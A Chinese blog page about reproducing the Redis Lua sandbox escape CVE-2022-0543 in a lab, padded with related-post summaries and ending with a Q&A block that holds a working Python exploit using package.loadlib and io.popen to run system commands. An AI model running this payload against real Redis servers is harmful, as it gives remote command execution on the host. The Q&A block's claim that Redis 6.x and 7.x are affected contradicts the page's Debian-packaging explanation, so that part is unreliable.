[漏洞复现]Redis 沙盒逃逸漏洞（CVE-2022-0543）

最新推荐文章于 2025-09-12 15:23:41 发布
原创 最新推荐文章于 2025-09-12 15:23:41 发布 · 842 阅读 · 10 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
文章标签：

#安全 #网络 #web安全

一、漏洞情况分析

Redis 存在代码注入漏洞，攻击者可利用该漏洞远程执行代码。

二、漏洞复现

春秋云境.com

进入靶场

 开始复现

三、漏洞处置建议 

把靶场关了，跟漏洞说“白白吧

 

Reids RCE-CVE-2022-0543 复现
weixin_52532634的博客
02-02 592
local f = io.popen("在这里命令", "r");编写、支持网络、可基于内存亦可持久化的日志型、键值存储数据库，并提供多种语言的API。如果在没有开启认证的情况下，可以导致任意用户在可以访问目标服务器的情况下未授权访问。一般都是默认的端口好6379，这里端口号是环境映射的。
CVE-2022-0543（lua沙盒绕过命令执行）复现
kriesa的博客
07-13 781
CVE-2022-0543复现
CVE-2022-0543 Redis沙盒逃逸漏洞复现(CVE-2022-0543)
XZ_______的博客
04-21 1930
漏洞复现
vulhub漏洞复现-redis未授权访问getshell总结 （CVE-2022-0543）
最新发布
2302_79841575的博客
09-12 822
摘要：本文演示了Redis未授权访问漏洞的利用过程。漏洞影响版本低于6.x，主要由于未配置访问控制和密码认证所致。攻击者通过nmap扫描发现靶机开放6379端口后，使用redis-rogue-getshell工具建立主从复制连接，成功在目标系统执行命令。复现过程包括环境搭建、未授权连接验证和利用主从复制模式实现远程代码执行，展示了该高危漏洞的实际危害。
Redis沙盒逃逸漏洞(CVE-2022-0543)复现以及流量特征分析
xhscxj的博客
02-03 2303
Redis Labs Redis是美国Redis Labs公司的一套开源的使用ANSI C编写、支持网络、可基于内存亦可持久化的日志型、键值（Key-Value）存储数据库，并提供多种语言的API。Redis 存在代码注入漏洞，攻击者可利用该漏洞远程执行代码。Debian以及Ubuntu发行版的源在打包Redis时，不慎在Lua沙箱中遗留了一个对象package，攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数，进而逃逸沙箱执行任意命令。
CVE-2022-0543（Redis 沙盒逃逸漏洞）
热门推荐
Battery的博客
11-23 11万+
CVE-2022-0543是一个与Redis相关的安全漏洞。在Redis中，用户连接后可以通过eval命令执行Lua脚本，但在沙箱环境中脚本无法执行命令或读取文件。然而，攻击者可以利用Lua沙箱中遗留的变量package的loadlib函数来加载动态链接库liblua5.1.so.0里的导出函数luaopen_io，从而获得io库并执行命令。为了利用这个漏洞，攻击者需要在Redis客户端中输入恶意payload，其中whoami是要执行的命令，也可以根据需求更换其他命令。
Redis 沙盒逃逸漏洞复现（CVE-2022-0543）
hicode0101的博客
01-17 833
我们借助Lua沙箱中遗留的变量package的loadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io。值得注意的是，不同环境下的liblua库路径不同，你需要指定一个正确的路径。Debian以及Ubuntu发行版的源在打包Redis时，不慎在Lua沙箱中遗留了一个对象package，攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数，进而逃逸沙箱执行任意命令。
Redis-未授权访问-CVE-2022-0543 (redis沙盒逃逸)
MateSnake的博客
05-13 1419
Redis-未授权访问-CVE-2022-0543 (redis沙盒逃逸)
CVE-2022-0543 Redis沙盒逃逸漏洞
weixin_45715461的博客
07-01 3810
CVE-2022-0543 Redis沙盒逃逸漏洞
【vulhub】redis CVE-2022-0543（redis沙盒逃逸）
qq_51143406的博客
02-26 703
CVE-2022-0543 redis沙盒逃逸 漏洞复现
CVE-2022-0543（redis沙盒逃逸）详细漏洞复现
没事我溜达
03-25 9685
参考：vulhub/README.zh-cn.md at master · vulhub/vulhub · GitHub Redis Lua沙盒绕过命令执行（CVE-2022-0543） Redis是著名的开源Key-Value数据库，其具备在沙箱中执行Lua脚本的能力。 Debian以及Ubuntu发行版的源在打包Redis时，不慎在Lua沙箱中遗留了一个对象package，攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数，进而逃逸沙箱执行任意命令。 直接写复现全过程吧
Redis沙盒逃逸漏洞 RCE（CVE-2022-0543）复现+getshell
xiaobai_20190815的博客
03-09 1996
Redis沙盒逃逸漏洞 RCE（CVE-2022-0543）复现+getshell
Redis Lua沙箱绕过RCE(CVE-2022-0543)复现
3tefanie的博客
03-16 2623
【牛角尖扎人，都不如刀子嘴戳人来得厉害】
CVE-2022-0543 Redis Lua沙盒绕过 命令执行
Foreverlove112的博客
09-22 708
CVE-2022-0543 Redis Lua沙盒绕过 命令执行
【CVE-2022-0543】Redis Lua沙盒绕过命令执行复现
网安君的博客
03-16 6260
0x00 漏洞简介 Redis是著名的开源Key-Value数据库，其具备在沙箱中执行Lua脚本1的能力。 Debian以及Ubuntu发行版的源在打包Redis时，不慎在Lua沙箱中遗留了一个对象package，攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数，进而逃逸沙箱执行任意命令。 参考链接： https://www.ubercomp.com/posts/2022-01-20_redis_on_debian_rce https://bugs.debian.org/cgi-bin/
cve_2022_0543-redis沙盒漏洞复现 vulfocus
c0529的博客
06-10 967
该漏洞的存在是因为Debian/Ubuntu中的Lua库是作为动态库提供的。自动填充了一个package变量，该变量又允许访问任意 Lua 功能。
CVE-2022-0543 Redis Lua 沙盒逃逸 RCE
Adminxe的博客
03-14 4554
0x00 背景 巴西研究员 Reginaldo Silva 于 2022 年 3 月 8 日公开披露 该漏洞,从他的博客得知 CVE-2022-0543 该 Redis 沙盒逃逸漏洞仅影响 Debian 系的 Linux 发行版本,并非 Redis 本身漏洞 https://www.ubercomp.com/posts/2022-01-20_redis_on_debian_rce 0x01 条件 未授权访问或拿到账号密码 目标为Debian及其衍生版 0x02 原理 首先,redis一直有一..
CVE-2022-0543（redis沙盒逃逸）
huayimy的博客
02-03 1084
CVE-2022-0543（redis沙盒逃逸借助Lua沙箱中遗留的变量package的loadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io。Redis Labs Redis是美国Redis Labs公司的一套开源的使用ANSI C编写、支持网络、可基于内存亦可持久化的日志型、键值（Key-Value）存储数据库，并提供多种语言的API。运行完docker-compose后，打开我们的redis就是我们的漏洞环境啦
春秋云境：CVE-2022-0543（Redis 沙盒逃逸漏洞）
m0_65712192的博客
08-21 4087
Redis 存在代码注入漏洞，攻击者可利用该漏洞远程执行代码。
cve-2022-0543漏洞复现
02-28
### CVE-2022-0543 漏洞详情 CVE-2022-0543 是 Redis 中的一个沙盒逃逸漏洞，允许攻击者通过特定的 Lua 脚本执行任意系统命令。Redis 使用 Lua 解释器来处理脚本操作，默认情况下启用了安全沙盒机制以防止潜在危险的操作。然而，在某些配置下，该沙盒可以被绕过，从而导致严重的安全隐患。 #### 影响版本 受影响的主要版本包括但不限于 Redis 版本 6.x 和部分 7.x 的早期版本[^2]。 ### 复现环境搭建 为了成功复现此漏洞，需准备如下条件： - 安装并运行易受攻击版本的 Redis 实例。 - 配置 Redis 不带任何身份验证措施（即禁用密码保护），以便于测试过程中不受阻碍地连接到服务器。 - 准备好能够发送自定义请求的客户端工具或编写相应的 Python/Shell 脚本来模拟攻击行为。 ### 漏洞利用过程 下面是一个简单的 Python 脚本用于展示如何触发这个漏洞: ```python import redis def exploit_redis(): r = redis.Redis(host='localhost', port=6379, db=0) payload = ''' eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0 ''' result = r.execute_command(payload) print(result.decode()) if __name__ == '__main__': exploit_redis() ``` 上述代码尝试加载外部库 `liblua5.1.so` 并调用其中的方法打开管道执行 Linux 命令 `id` 来获取当前用户的 UID/GID 信息作为演示目的。实际应用中可以根据需求替换为其他恶意指令。 请注意，以上内容仅限学习研究用途，请勿非法入侵他人计算机信息系统！
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
表情包 代码片
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值